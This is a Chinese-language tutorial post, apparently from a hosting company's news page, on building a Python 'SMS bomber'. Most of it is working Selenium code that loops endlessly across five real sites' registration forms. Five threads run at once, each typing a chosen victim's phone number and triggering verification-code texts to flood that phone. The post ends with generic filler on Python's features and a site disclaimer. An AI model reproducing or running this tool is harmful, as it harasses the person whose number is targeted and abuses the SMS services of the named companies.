这篇文章主要介绍Python如何实现短信轰炸,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!
环境 python3.0
工具 pycharm
谷歌插件chromedriver
程序执行方法
from selenium import webdriver import time from threading import Thread class HongZha(object): def __init__(self): self.phone = "xxxxx"#你要轰炸的电话号码 self.num = 0 def send_yzm(self,button,name): button.click() self.num+=1 print("{} 第{}次 发送成功 {}".format(self.phone,self.num,name)) time.sleep(30) def zhihu(self,name): while True:#下面这行是刚刚叙说的chromedrive的安装路径 driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe") driver.get("https://www.zhihu.com/question/39993344") driver.find_element_by_xpath ( "//button[@class='Button Button--primary Button--blue']" ).click () time.sleep(2) tel = driver.find_element_by_xpath("//input[@placeholder='手机号']") tel.send_keys(self.phone) button = driver.find_element_by_xpath ( "//button[@class='Button CountingDownButton SignFlow-smsInputButton Button--plain']" ) self.send_yzm(button,name) driver.quit () def guazi(self,name): while True: driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe") driver.get("https://www.guazi.com/www/bj/buy") a_btn = driver.find_element_by_xpath ( "//a[@class='uc-my']" ) a_btn.click() time.sleep(2) tel = driver.find_element_by_xpath("//input[@placeholder='请输入您的手机号码']") tel.send_keys( self.phone ) button = driver.find_element_by_xpath("//button[@class='get-code']") self.send_yzm(button,name) driver.quit() def wphui(self,name): while True: driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe") driver.get ( "https://passport.vip.com/register?src=https%3A%2F%2Fwww.vip.com%2F" ) tel = driver.find_element_by_xpath ( "//input[@placeholder='请输入手机号码']" ) tel.send_keys ( self.phone ) driver.find_element_by_xpath ( "//input[@id='J_mobile_code']" ).click() button = driver.find_element_by_xpath ( "//a[@class='ui-btn-medium btn-verify-code ui-btn-secondary']" ) self.send_yzm ( button,name ) driver.quit () def suning(self,name): while True: driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe") driver.get ( "https://reg.suning.com/person.do" ) driver.find_element_by_xpath("//a[@class='agree-btn']").click() tel = driver.find_element_by_xpath ( "//input[@id='mobileAlias']") tel.send_keys ( self.phone ) button = driver.find_element_by_xpath ( "//a[@id='sendSmsCode']" ) self.send_yzm ( button,name ) driver.quit () def yhd(self,name): while True: driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe") driver.get ( "https://passport.yhd.com/passport/register_input.do" ) driver.find_element_by_xpath ( "//input[@id='userName']" ).send_keys("我的女神daadaamnabajhdja") tel = driver.find_element_by_xpath ( "//input[@id='phone']" ) tel.send_keys ( self.phone ) time.sleep(2) button = driver.find_element_by_xpath ( "//a[@class='receive_code fl same_code_btn r_disable_code ']" ) #button.click() time.sleep(1) self.send_yzm ( button,name ) driver.quit ()
执行放发
from threading import Thread from sendPhon import HongZha hongzha = HongZha() zhihu = Thread(target=hongzha.zhihu,args=("知乎",)) guazi = Thread ( target=hongzha.guazi,args=("瓜子",)) wphui = Thread(target=hongzha.wphui,args=("唯品会",)) suning = Thread(target=hongzha.suning,args=("苏宁",)) yhd= Thread( target=hongzha.yhd,args=("一号店",)) zhihu.start() guazi.start() wphui.start() suning.start() yhd.start()
python的五大特点:1.简单易学,开发程序时,专注的是解决问题,而不是搞明白语言本身。2.面向对象,与其他主要的语言如C++和Java相比, Python以一种非常强大又简单的方式实现面向对象编程。3.可移植性,Python程序无需修改就可以在各种平台上运行。4.解释性,Python语言写的程序不需要编译成二进制代码,可以直接从源代码运行程序。5.开源,Python是 FLOSS(自由/开放源码软件)之一。
以上是“Python如何实现短信轰炸”这篇文章的所有内容,感谢各位的阅读!希望分享的内容对大家有帮助,更多相关知识,欢迎关注亿速云行业资讯频道!
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。